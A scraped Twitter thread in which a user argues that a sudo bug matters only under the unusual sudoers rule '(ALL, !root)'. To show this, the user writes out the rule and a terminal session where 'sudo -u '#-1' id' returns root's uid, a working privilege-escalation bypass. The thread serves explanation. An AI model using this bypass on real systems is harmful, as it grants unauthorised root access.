Can we please stop talking about that sudo bug? It only affects systems using an insane configuration (allow $command as anyone *but* root). I can't come up with any situation where that configuration makes any sense (vs e.g. "allow $command as any member of a given group).
For example: testuser ALL=(nobody) /usr/bin/id testuser@curious$ sudo -u nobody id uid=65534(nobody) gid=65534(nobody) groups=65534(nobody) testuser@curious$ sudo -u '#-1' id Sorry, user testuser is not allowed to execute '/usr/bin/id' as #-1 on curious.
-
-
To trigger the bug you have to do this: testuser ALL=(ALL, !root) /usr/bin/id And then: testuser@$ sudo -u root id Sorry, user testuser is not allowed to execute '/usr/bin/id' as root on curious. testuser@$ sudo -u '#-1' id uid=0(root) gid=1002(testuser) groups=1002(testuser)
-
But that config means you allow testuser to sudo as *literally any and all users except root*. That is not least privilege, that is "most privilege except for root", which is a stupid idea.
End of conversation
New conversation -
Loading seems to be taking a while.
Twitter may be over capacity or experiencing a momentary hiccup. Try again or visit Twitter Status for more information.